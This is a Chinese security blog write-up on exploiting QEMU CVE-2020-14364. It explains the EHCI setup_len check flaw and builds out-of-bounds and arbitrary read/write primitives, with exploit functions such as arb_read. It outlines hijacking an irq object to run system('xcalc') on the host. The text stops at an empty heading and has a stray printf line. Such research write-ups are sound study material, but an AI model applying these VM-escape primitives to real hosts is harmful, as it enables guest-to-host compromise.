freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

PortalLab | 多种方法利用QEMU-CVE-2020-14364(一)
星阑科技 2021-06-07 22:27:04 173653

本系列文章是笔者刚入门QEMU开始写的,前两种是借鉴之处,后两种是网上现未公开的利用usb1的利用方式。本文首先介绍前两种方法。

CVE-2020-14364

QEMU版本

QEMU的版本没什么要求,因为这个漏洞声称对5.2.0之前的版本都适用,所以随便找个QEMU版本就行,关于内核和rootfs.img镜像不再多说,但是这次涉及到usb设备的制作。

第一种思路

环境配置

由于第二种思路需要QEMU启动时加载qxl-vga设备,我们需要在编译QEMU之前安装spice,如果不走这个思路的话可以跳过,直接编译QEMU,但是记得去掉--enable-spice参数。

以下来自[CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 - 先知社区 (aliyun.com)]

#有一些依赖需要安装
#1.安装spice-protocol:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure 
make
sudo make install

#2.安装celt:
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz 
cd celt-0.5.1.3/
./configure 
make
sudo make install
 
#别的依赖
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev

#安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure 
make
sudo make install

然后就可以编译QEMU源码了。

tar -xvf qemu-xxxx.tar.xz
cd qemu-xxxx
./configure --enable-kvm --enable-debug --target-list=x86_64-softmmu --disable-werror (可选 --enable-spice)
make -j 4
make install

制作usb设备

qemu-img create -f raw usb.img 32M
mkfs.vfat usb.img

启动

对应路径/qemu-system-x86_64 \-enable-kvm \-append "console=ttyS0 root=/dev/sda rw"  \-m 1G \-kernel ./linux/arch/x86/boot/bzImage  \-hda ./rootfs.img \-device e1000,netdev=net0 \-netdev user,id=net0,hostfwd=tcp::33333-:22 \-usb \-drive if=none,format=raw,id=disk1,file=./usb.img \-device ich9-usb-ehci1,id=usb \-device usb-storage,drive=disk1 \(可选 -device qxl-vga \)-nographic

漏洞分析

首先通过上面那张图可以注意到,过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果,说白了就是这个检查没有什么卵用,为什么这么说呢?因为这个函数的功能本来就是获得s->setup_len而已,真正的输入和输出在另外两个函数,那么我们可以控制这个长度然后进行溢出,重点就是看溢出到哪,控制什么了,先看官方给的解释。

USB总线通过创建一个USBpacket对象来和USB设备通信。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

我们来看看这两个结构体外加一个函数,因为本文用的是4.0.0版QEMU,所以贴的源码也是这一版本的。

/* definition of a USB device */struct USBDevice {DeviceState qdev;USBPort *port;char *port_path;char *serial;void *opaque;uint32_t flags;/* Actual connected speed */int speed;/* Supported speeds, not in info because it may be variable (hostdevs) */int speedmask;uint8_t addr;char product_desc[32];int auto_attach;bool attached;int32_t state;uint8_t setup_buf[8];uint8_t data_buf[4096];  //data_bufint32_t remote_wakeup;int32_t setup_state;int32_t setup_len;      //setup_lenint32_t setup_index;USBEndpoint ep_ctl;USBEndpoint ep_in[USB_MAX_ENDPOINTS];USBEndpoint ep_out[USB_MAX_ENDPOINTS];QLIST_HEAD(, USBDescString) strings;const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */const USBDescDevice *device;int configuration;int ninterfaces;int altsetting[USB_MAX_INTERFACES];const USBDescConfig *config;const USBDescIface  *ifaces[USB_MAX_INTERFACES];};==========================================================================/* Structure used to hold information about an active USB packet.  */struct USBPacket {/* Data fields for use by the driver.  */int pid;uint64_t id;USBEndpoint *ep;unsigned int stream;QEMUIOVector iov;uint64_t parameter; /* control transfers */bool short_not_ok;bool int_req;int status; /* USB_RET_* status code */int actual_length; /* Number of bytes actually transferred *//* Internal use by the USB layer.  */USBPacketState state;USBCombinedPacket *combined;QTAILQ_ENTRY(USBPacket) queue;QTAILQ_ENTRY(USBPacket) combined_entry;};======================================================================void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes){QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;assert(p->actual_length >= 0);assert(p->actual_length + bytes <= iov->size);switch (p->pid) {case USB_TOKEN_SETUP:case USB_TOKEN_OUT:iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;case USB_TOKEN_IN:iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;default:fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);abort();}p->actual_length += bytes;}

另外通过看上面那个图得到的漏洞函数:

static void do_token_setup(USBDevice *s, USBPacket *p){int request, value, index;if (p->iov.size != 8) {p->status = USB_RET_STALL;return;}usb_packet_copy(p, s->setup_buf, p->iov.size);  //调用usb_packet_copys->setup_index = 0;p->actual_length = 0;s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];if (s->setup_len > sizeof(s->data_buf)) {      //这个检查无效fprintf(stderr,"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",s->setup_len, sizeof(s->data_buf));p->status = USB_RET_STALL;return;}request = (s->setup_buf[0] << 8) | s->setup_buf[1];value   = (s->setup_buf[3] << 8) | s->setup_buf[2];index   = (s->setup_buf[5] << 8) | s->setup_buf[4];if (s->setup_buf[0] & USB_DIR_IN) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);if (p->status == USB_RET_ASYNC) {s->setup_state = SETUP_STATE_SETUP;}if (p->status != USB_RET_SUCCESS) {return;}if (p->actual_length < s->setup_len) {s->setup_len = p->actual_length;}s->setup_state = SETUP_STATE_DATA;} else {if (s->setup_len == 0)s->setup_state = SETUP_STATE_ACK;elses->setup_state = SETUP_STATE_DATA;}p->actual_length = 8;}===========================================================void usb_device_handle_control(USBDevice *dev, USBPacket *p, int request,int value, int index, int length, uint8_t *data){USBDeviceClass *klass = USB_DEVICE_GET_CLASS(dev);if (klass->handle_control) {klass->handle_control(dev, p, request, value, index, length, data);}}==============================================================#define USB_DEVICE_GET_CLASS(obj) \OBJECT_GET_CLASS(USBDeviceClass, (obj), TYPE_USB_DEVICE)  //跟着OBJECT_GET_CLASS后面还能跟好长

do_token_setup相当于是给我们创造一个使得len的长度越界的机会,在这上面调用usb_packet_copy时还未完成len的越界,所以我们找找在do_tocken_setup之后调用的usb_packet_copy,这时候其实调试看调用链是很合适的,但当时的笔者还不太清楚断点下在哪。

出人意料的是,do_token_setup只被调用一次,为查看源码找答案带来了极大的方便。

static void usb_process_one(USBPacket *p){USBDevice *dev = p->ep->dev;/** Handlers expect status to be initialized to USB_RET_SUCCESS, but it* can be USB_RET_NAK here from a previous usb_process_one() call,* or USB_RET_ASYNC from going through usb_queue_one().*/p->status = USB_RET_SUCCESS;if (p->ep->nr == 0) {/* control pipe */if (p->parameter) {do_parameter(dev, p);return;}switch (p->pid) {case USB_TOKEN_SETUP:do_token_setup(dev, p);break;case USB_TOKEN_IN:do_token_in(dev, p);break;case USB_TOKEN_OUT:do_token_out(dev, p);break;default:p->status = USB_RET_STALL;}} else {/* data pipe */usb_device_handle_data(dev, p);}}

那接下来看看他附近的函数,看调用usb_process_one之后有没有再调用usb_packet_copy的。(八成是有的,就是这种方法找起来太过痛苦)

static void do_token_in(USBDevice *s, USBPacket *p){int request, value, index;assert(p->ep->nr == 0);request = (s->setup_buf[0] << 8) | s->setup_buf[1];value   = (s->setup_buf[3] << 8) | s->setup_buf[2];index   = (s->setup_buf[5] << 8) | s->setup_buf[4];switch(s->setup_state) {case SETUP_STATE_ACK:if (!(s->setup_buf[0] & USB_DIR_IN)) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);if (p->status == USB_RET_ASYNC) {return;}s->setup_state = SETUP_STATE_IDLE;p->actual_length = 0;}break;case SETUP_STATE_DATA:if (s->setup_buf[0] & USB_DIR_IN) {int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);  //中!!!s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;default:p->status = USB_RET_STALL;}}======================================================================static void do_token_out(USBDevice *s, USBPacket *p){assert(p->ep->nr == 0);switch(s->setup_state) {case SETUP_STATE_ACK:if (s->setup_buf[0] & USB_DIR_IN) {s->setup_state = SETUP_STATE_IDLE;/* transfer OK */} else {/* ignore additional output */}break;case SETUP_STATE_DATA:if (!(s->setup_buf[0] & USB_DIR_IN)) {int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);  //中了!!!s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;default:p->status = USB_RET_STALL;}}

这俩函数也是只在那里被调用一次,有预感会中,没想到真中了,那我们来看看这俩函数是干嘛的,看到两次传入的len都是这么赋值的。

int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}

也就是说,如果p->iov.size不可控,那就很有可能无法很好的利用这一漏洞,甚至完全利用不了,当然,这能发出来作为CVE肯定是能利用的,如果不出意外,p->iov.size就是可控的,我们试试看能不能找到控制其大小的地方。

首先知道p是USBPacket结构体,iov是QEMUVector结构体,然后看了一下。

那么话说回来,我们现在看那两个函数是干嘛的,do_token_out和do_token_in看in和out应该是和io有关,再看看上面的一个注释。

/** Handlers expect status to be initialized to USB_RET_SUCCESS, but it* can be USB_RET_NAK here from a previous usb_process_one() call,* or USB_RET_ASYNC from going through usb_queue_one().*/

没有得到想要的信息,那就看看那两个作为调用函数的依据的宏有没有注释一些东西。

#define USB_TOKEN_SETUP 0x2d#define USB_TOKEN_IN    0x69 /* device -> host */#define USB_TOKEN_OUT   0xe1 /* host -> device */

找到了,看到很明显的就是数据交互的函数,结果和猜的一样。

那么也就是说,我们很有可能获得了任意长度写入读出的能力,在这种情况下,可以看看数据是存在哪个结构体中的哪个变量里,周围有没有覆盖的好对象。

从do_token_in开始:

usb_packet_copy(p, s->data_buf + s->setup_index, len);

回上面去看源码,可以看到在usb_packet_copy中还要根据p的pid调用函数,p的pid有这么三种,在上面贴过。

#define USB_TOKEN_SETUP 0x2d#define USB_TOKEN_IN    0x69 /* device -> host */#define USB_TOKEN_OUT   0xe1 /* host -> device */================================================usb_packet_copy:switch (p->pid) {case USB_TOKEN_SETUP:case USB_TOKEN_OUT:iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;case USB_TOKEN_IN:iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);break;

其实调用iov_to_buf和调用iov_from_buf的条件和之前的do_token_out以及do_token_in是一致的。

关于iov_to_buf和iov_from_buf的源码就不贴了,用处不大,贴一下这个:

iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,size_t offset, void *buf, size_t bytes)...memcpy(buf, iov[0].iov_base + offset, bytes);...iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,size_t offset, const void *buf, size_t bytes)...memcpy(iov[0].iov_base + offset, buf, bytes);...

再回头看p的结构体,看iov附近有什么好溢出的。

unsigned int stream;QEMUIOVector iov;uint64_t parameter; /* control transfers */

很遗憾,没有找到什么有价值的利用的地方,再看另一结构体。

printf("hello world!");

在网上搜索USBEndpoint ep_ctl,稍微找了下没找到有用的信息,驱动小白罢了。

可以从下方的ep_ctl->dev获取到usbdevice的对象地址。

通过usbdevice的对象地址可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

这点不难理解,USBDevice就是上面的结构体,得到结构体基址后加上偏移就能得到其中成员的地址,首先肯定是通过一越界读取来获得这一地址,然后再越界去覆盖一些成员,覆盖setup_index是因为写入的地址等于setup_index+data_buf,所以构造一下就能任意地址写。

我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。由于在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。


绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

改变setup_buf[0]为读入方向就能读取,并且对setup_index修改就能任意地址读。

利用手法

1、通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

2、在data_buf中伪造irq结构。

3、以伪造结构劫持ehcistate中的irq对象。

4、通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。完成利用。

想看懂exp只有上面的利用过程还不够,后面主要讲解任意读写原语的构造。

构造任意读写原语

struct EHCIState {USBBus bus;DeviceState *device;qemu_irq irq;MemoryRegion mem;AddressSpace *as;[ ... ]/**  EHCI spec version 1.0 Section 2.3*  Host Controller Operational Registers*/uint8_t caps[CAPA_SIZE];union {uint32_t opreg[0x44/sizeof(uint32_t)];struct {uint32_t usbcmd;uint32_t usbsts;uint32_t usbintr;uint32_t frindex;uint32_t ctrldssegment;uint32_t periodiclistbase;uint32_t asynclistaddr;uint32_t notused[9];uint32_t configflag;};};

重点是opreg ,我们得到mmio_fd之后就映射一块内存,其实就是映射usb设备的内存,这样就让cpu访问usb直接访问内存,然后在usb的初始化中,对EHCIState结构中的opreg 的基地址设置在这块内存的偏移0x20。

static void usb_ehci_pci_init(Object *obj){DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);EHCIPCIState *i = PCI_EHCI(obj);EHCIState *s = &i->ehci;s->caps[0x09] = 0x68;        /* EECP */s->capsbase = 0x00;s->opregbase = 0x20;    //这里s->portscbase = 0x44;s->portnr = NB_PORTS;if (!dc->hotpluggable) {s->companion_enable = true;}usb_ehci_init(s, DEVICE(obj));  //调用了这个}

再往下看看这个调用:

void usb_ehci_init(EHCIState *s, DeviceState *dev){/* 2.2 host controller interface version */s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);s->caps[0x01] = 0x00;s->caps[0x02] = 0x00;s->caps[0x03] = 0x01;        /* HC version */s->caps[0x04] = s->portnr;   /* Number of downstream ports */s->caps[0x05] = 0x00;        /* No companion ports at present */s->caps[0x06] = 0x00;s->caps[0x07] = 0x00;s->caps[0x08] = 0x80;        /* We can cache whole frame, no 64-bit */s->caps[0x0a] = 0x00;s->caps[0x0b] = 0x00;QTAILQ_INIT(&s->aqueues);QTAILQ_INIT(&s->pqueues);usb_packet_init(&s->ipacket);memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,"capabilities", CAPA_SIZE);memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, //this"operational", s->portscbase);memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,"ports", 4 * s->portnr);memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,&s->mem_ports);}

在usb_ehci_init函数中又注册了对opreg区域读写的操作函数,

static const MemoryRegionOps ehci_mmio_opreg_ops = {.read = ehci_opreg_read,.write = ehci_opreg_write,.valid.min_access_size = 4,.valid.max_access_size = 4,.endianness = DEVICE_LITTLE_ENDIAN,};

对opreg的写操作会调用到ehci_opreg_write函数,

如 mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa。

下面看exp中的set_EHCIState:

void set_EHCIState(){//ehci->periodiclistbase被我们填充为dmabuf的物理地址mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase//设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_statemmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmdsleep(1);}

首先看为什么设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE。

#0  do_token_setup #1  0x0000563a32c8ef9e in usb_process_one #2  0x0000563a32c8f1a9 in usb_handle_packet#3  0x0000563a32ca0847 in ehci_execute#4  0x0000563a32ca1b62 in ehci_state_execute #5  0x0000563a32ca205f in ehci_advance_state #6  0x0000563a32ca24a9 in ehci_advance_periodic_state #7  0x0000563a32ca279f in ehci_frame_timer   //<--------------------#8  0x0000563a32d28e50 in timerlist_run_timers #9  0x0000563a32d28e99 in qemu_clock_run_timers #10 0x0000563a32d2919e in qemu_clock_run_all_timers#11 0x0000563a32d27b47 in main_loop_wait #12 0x0000563a32b5e021 in main_loop #13 0x0000563a32b65d2d in main #14 0x00007f23c5afbbf7 in __libc_start_main #15 0x0000563a32a11d6a in _start

调用链来自CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路 - 先知社区 (aliyun.com),

小编自己下的断点没调出来,通过调用链可以看到:调用ehci_advance_periodic_state需先通过ehci_work_bh,看看在ehci_work_bh中,什么情况下才会调用ehci_advance_periodic_state。

static void ehci_work_bh(void *opaque){EHCIState *ehci = opaque;int need_timer = 0;int64_t expire_time, t_now;uint64_t ns_elapsed;uint64_t uframes, skipped_uframes;[ ... ]if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {  //这里[ ... ]}===================================================================static inline bool ehci_periodic_enabled(EHCIState *s){return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);}==================================================================static inline bool ehci_enabled(EHCIState *s){return s->usbcmd & USBCMD_RUNSTOP;}

首先可以看到需usbcmd设置USBCMD_RUNSTOP | USBCMD_PSE,

然后才能进入ehci_advance_periodic_state。

下面看为什么要ehci->periodiclistbase被填充为dmabuf的物理地址。

static void ehci_advance_periodic_state(EHCIState *ehci){uint32_t entry;uint32_t list;const int async = 0;switch(ehci_get_state(ehci, async)) {case EST_INACTIVE:if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {ehci_set_state(ehci, async, EST_ACTIVE);// No break, fall through to ACTIVE} elsebreak;case EST_ACTIVE:if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {ehci_queues_rip_all(ehci, async);ehci_set_state(ehci, async, EST_INACTIVE);break;}list = ehci->periodiclistbase & 0xfffff000;   //这里/* check that register has been set */if (list == 0) {break;}list |= ((ehci->frindex & 0x1ff8) >> 1);     //这里if (get_dwords(ehci, list, &entry, 1) < 0) { //这里break;}DPRINTF("PERIODIC state adv fr=%d.  [%08X] -> %08X\n",ehci->frindex / 8, list, entry);ehci_set_fetch_addr(ehci, async,entry);      //这里ehci_set_state(ehci, async, EST_FETCHENTRY);ehci_advance_state(ehci, async);ehci_queues_rip_unused(ehci, async);break;default:/* this should only be due to a developer mistake */fprintf(stderr, "ehci: Bad periodic state %d. ""Resetting to active\n", ehci->pstate);g_assert_not_reached();}}

list = ehci->periodiclistbase & 0xfffff000; + list |= ((ehci->frindex & 0x1ff8) >> 1);使得list为virt2phys(dmabuf)+4。

get_dwords(ehci, list, &entry, 1)将list上的内容写入entry  ( dmabuf赋值时 entry = dmabuf + 4;),所以在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry  (*entry = virt2phys(qh)+0x2;)。

之后在ehci_set_fetch_addr(ehci, async,entry); 中,

static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr){if (async) {s->a_fetch_addr = addr;} else {s->p_fetch_addr = addr;}}

将list的内容,即virt2phys(qh)+2写入s->p_fetch_addr。

这里的entry为什么要多个+2是因为:

static void ehci_advance_periodic_state(EHCIState *ehci)[...]ehci_set_fetch_addr(ehci, async,entry); //这里得到entryehci_set_state(ehci, async, EST_FETCHENTRY);  //这里设置state为EST_FETCHENTRY,所以进入下面的函数处理分支会调用这个状态对应的ehci_advance_state(ehci, async);        //进这里看ehci_queues_rip_unused(ehci, async);
static void ehci_advance_state(EHCIState *ehci, int async){EHCIQueue *q = NULL;int itd_count = 0;int again;do {switch(ehci_get_state(ehci, async)) {case EST_WAITLISTHEAD:again = ehci_state_waitlisthead(ehci, async);break;case EST_FETCHENTRY:  //第一次运行到这里again = ehci_state_fetchentry(ehci, async); //进去看看break;case EST_FETCHQH:  //这里q = ehci_state_fetchqh(ehci, async);  //得到qhif (q != NULL) {assert(q->async == async);again = 1;} else {again = 0;}break;[ ... ]============================================================static int ehci_state_fetchentry(EHCIState *ehci, int async){int again = 0;uint32_t entry = ehci_get_fetch_addr(ehci, async);[ ... ]switch (NLPTR_TYPE_GET(entry)) {case NLPTR_TYPE_QH:   //这里ehci_set_state(ehci, async, EST_FETCHQH); //这里设置之后回到ehci_advance_state就能调用那个返回qh的分支了again = 1;break;[ ... ]

我们的目的是得到qh结构,即要运行EST_FETCHQH这一分支,第一次进来时,运行ehci_state_fetchentry得到entry,内容和s->p_fetchaddr相等,是virt2phys(qh)+0x2,并且在ehci_state_fetchentry中可以设定下次循环调用获得qh的分支,条件是NLPTR_TYPE_GET(entry)和NLPTR_TYPE_QH值相等,看下二者定义:

#define NLPTR_TYPE_QH            1     // queue head#define NLPTR_TYPE_GET(x)        (((x) >> 1) & 3)
对于NLPTR_TYPE_GET(x)在这是 NLPTR_TYPE_GET(entry),即(virt2phys(qh)+0x2)>>1&3,

要得到1,显然加上2是能确保我们在这里百分百能达成条件的,所以在这里就能设置响应state然后调用ehci_state_fetchqh 得到qh。

static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async){uint32_t entry;EHCIQueue *q;EHCIqh qh;entry = ehci_get_fetch_addr(ehci, async);q = ehci_find_queue_by_qh(ehci, entry, async);if (q == NULL) {q = ehci_alloc_queue(ehci, entry, async);}q->seen++;if (q->seen > 1) {/* we are going in circles -- stop processing */ehci_set_state(ehci, async, EST_ACTIVE);q = NULL;goto out;}if (get_dwords(ehci, NLPTR_GET(q->qhaddr),(uint32_t *) &qh, sizeof(EHCIqh) >> 2) < 0) {q = NULL;goto out;}ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);/** The overlay area of the qh should never be changed by the guest,* except when idle, in which case the reset is a nop.*/if (!ehci_verify_qh(q, &qh)) {if (ehci_reset_queue(q) > 0) {ehci_trace_guest_bug(ehci, "guest updated active QH");}}q->qh = qh;q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT);if (q->transact_ctr == 0) { /* Guest bug in some versions of windows */q->transact_ctr = 4;}if (q->dev == NULL) {q->dev = ehci_find_device(q->ehci,get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));}if (async && (q->qh.epchar & QH_EPCHAR_H)) {/*  EHCI spec version 1.0 Section 4.8.3 & 4.10.1 */if (ehci->usbsts & USBSTS_REC) {ehci_clear_usbsts(ehci, USBSTS_REC);} else {DPRINTF("FETCHQH:  QH 0x%08x. H-bit set, reclamation status reset"" - done processing\n", q->qhaddr);ehci_set_state(ehci, async, EST_ACTIVE);q = NULL;goto out;}}#if EHCI_DEBUGif (q->qhaddr != q->qh.next) {DPRINTF("FETCHQH:  QH 0x%08x (h %x halt %x active %x) next 0x%08x\n",q->qhaddr,q->qh.epchar & QH_EPCHAR_H,q->qh.token & QTD_TOKEN_HALT,q->qh.token & QTD_TOKEN_ACTIVE,q->qh.next);}#endifif (q->qh.token & QTD_TOKEN_HALT) {ehci_set_state(ehci, async, EST_HORIZONTALQH);} else if ((q->qh.token & QTD_TOKEN_ACTIVE) &&(NLPTR_TBIT(q->qh.current_qtd) == 0)) {q->qtdaddr = q->qh.current_qtd;ehci_set_state(ehci, async, EST_FETCHQTD);} else {/*  EHCI spec version 1.0 Section 4.10.2 */ehci_set_state(ehci, async, EST_ADVANCEQUEUE);}out:return q;}

然后就得到了qh地址,之后就会沿着上面给出的调用链继续运行下去,一直到触发漏洞函数。

接下来看任意读写原语的构造过程,只要这个看懂了,exp其余部分就自然懂了。

越界读

还记得漏洞函数是什么吗?没错,就是对赋值长度的检查形同虚设引起usb_packet_copy任意长度赋值,那首先要设置赋值的长度,设置一个比较长的长度,把漏洞函数拿下来方便看。

static void do_token_setup(USBDevice *s, USBPacket *p){usb_packet_copy(p, s->setup_buf, p->iov.size);  //调用usb_packet_copys->setup_index = 0;p->actual_length = 0;s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];  //长度是由这俩参数设置的[...]if (s->setup_buf[0] & USB_DIR_IN) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);[ ... ]}

可以先调用一次这个函数,使得设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token值。

#define QTD_TOKEN_PID_MASK            0x00000300#define QTD_TOKEN_PID_SH              8#define USB_TOKEN_SETUP 0x2d#define USB_TOKEN_IN    0x69 /* device -> host */#define USB_TOKEN_OUT   0xe1 /* host -> device */static int ehci_get_pid(EHCIqtd *qtd){switch (get_field(qtd->token, QTD_TOKEN_PID)) {case 0:return USB_TOKEN_OUT;case 1:return USB_TOKEN_IN;     //do_token_incase 2:return USB_TOKEN_SETUP;  //进do_token_setup设置 s->setup_lendefault:fprintf(stderr, "bad token\n");return 0;}}==============================================#define get_field(data, field) \(((data) & field##_MASK) >> field##_SH)

设置qtd->token为 2 << 8 即可进入do-token_setup分支,之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。

然后设置qtd->token 为 1<<8,进入do_token_in,另外在do_token_in中有别的条件需要满足。

static void do_token_in(USBDevice *s, USBPacket *p){switch(s->setup_state) {case SETUP_STATE_ACK:if (!(s->setup_buf[0] & USB_DIR_IN)) {usb_device_handle_control(s, p, request, value, index,s->setup_len, s->data_buf);if (p->status == USB_RET_ASYNC) {return;}s->setup_state = SETUP_STATE_IDLE;p->actual_length = 0;}break;case SETUP_STATE_DATA:if (s->setup_buf[0] & USB_DIR_IN) {  //这里,一个约束条件int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);  //这里s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;}

可以看到,要设置setup_buf[0]为USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露,达到越界读的目的。

其中p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。

越界写

同上面的一样要先进setup设置长度,再设置qtd->token 为 0<<8,进入do_token_out分支,而且这里也有额外约束条件。

static void do_token_out(USBDevice *s, USBPacket *p){assert(p->ep->nr == 0);switch(s->setup_state) {case SETUP_STATE_ACK:if (s->setup_buf[0] & USB_DIR_IN) {s->setup_state = SETUP_STATE_IDLE;/* transfer OK */} else {/* ignore additional output */}break;case SETUP_STATE_DATA:if (!(s->setup_buf[0] & USB_DIR_IN)) {  //约束条件int len = s->setup_len - s->setup_index;if (len > p->iov.size) {len = p->iov.size;}usb_packet_copy(p, s->data_buf + s->setup_index, len);s->setup_index += len;if (s->setup_index >= s->setup_len) {s->setup_state = SETUP_STATE_ACK;}return;}s->setup_state = SETUP_STATE_IDLE;p->status = USB_RET_STALL;break;}

需要设置setup_buf[0]为USB_DIR_OUT,然后就能达到将qtd->bufptr[0]复制到s->data_buf进行覆写的目的

这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA

任意读原语

设置越界长度为0x1010,过程和上面的设置长度一样,都是进入do_token_setup设置(通过设置setup_buf[6、7]);

进行越界写,将setup_len 设置成0x1010(这里不同上面,这里是利用越界写写入的值,而不是用那俩参数设置的),setup_index设置成0xfffffff8-0x1010,因为do_token_out中调用usb_packet_copy之后会有 s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8;

再次进行越界写,此时从data_buf-8处写,覆盖了setup字段,将setup_buf[0]设置成USB_DIR_IN,并且将setup_index覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len - s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018;

最后越界读,就能读取目标地址的内容。

unsigned long arb_read(uint64_t target_addr){setup_state_data();set_length(0x1010, USB_DIR_OUT);do_copy_write(0, 0x1010, 0xfffffff8-0x1010);  //越界写*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN ??unsigned int target_offset = target_addr - data_buf_addr;do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。do_copy_read();     //越界读return *(unsigned long *)(data_buf);}

任意写原语

